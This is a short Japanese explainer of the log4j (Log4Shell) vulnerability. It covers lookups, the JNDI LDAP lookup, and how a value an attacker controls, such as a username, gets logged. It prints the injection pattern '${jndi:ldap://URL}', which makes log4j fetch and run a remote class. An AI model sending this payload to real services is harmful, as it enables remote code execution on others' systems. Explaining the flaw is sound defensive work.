log4jの脆弱性について
log4jとはJava用のloggingライブラリだ。loggingライブラリというのはログとして記録すべき文字列を受け取り、それをどこかに出力するものだ。文字列の中身を通常のloggingライブラリは気にしない。
log4jが通常のloggingライブラリと違うのは、文字列の中身を見て、一部の文字列を変数とみなして置換することだ。これはlog4jのドキュメントではlookupと呼ばれている。
例えばプログラムを実行中のJava runtimeのバージョンをログに含めたい場合は、"Java Runtime: ${java:runtime}"などとすると、"Java Runtgime: Java(TM) SE Runtime Environment (build 1.7.0_67-b01) from Oracle Corporation"などのように置換される。"${java:runtime}"という変数が置換されている。
今回問題となっているのはJndi Lookupだ。これはJavaのJava Naming and Directory Interfaceによる変数名の置換で、ネットワーク越しに変数に相当する値を検索することができる。その中にLDAPも含まれる。例えば"${jndi:ldap://someremoteclass}"のようになる。
問題は、このURLに.を含めることにより、lg4jは任意のリモートのLDAPサーバーからjava classファイルをダウンロードして読み込んでしまうのだ。
なので悪意あるjava classファイルとそれをホストするLDAPサーバーを用意して、ターゲットとなるJavaで動きlog4jを使っているプログラムに"${jndi:ldap://URL}"の形でログ出力されるようにすれば、任意のコード実行が可能になる。
例えば、Javaで実装されたオンラインゲームサーバーがあり、ログインしたユーザー名をログに出力する作りになっていた場合、ユーザー名に仕込んでおくことでお手軽に任意コード実行ができてしまう。ユーザーがログに出力される文字列を操作可能なlog4jを使うJavaで実装されたオンラインサービスは軒並み影響を受ける。問題は、log4jはJavaにおけるloggingライブラリとしてとても有名なのだそうだ。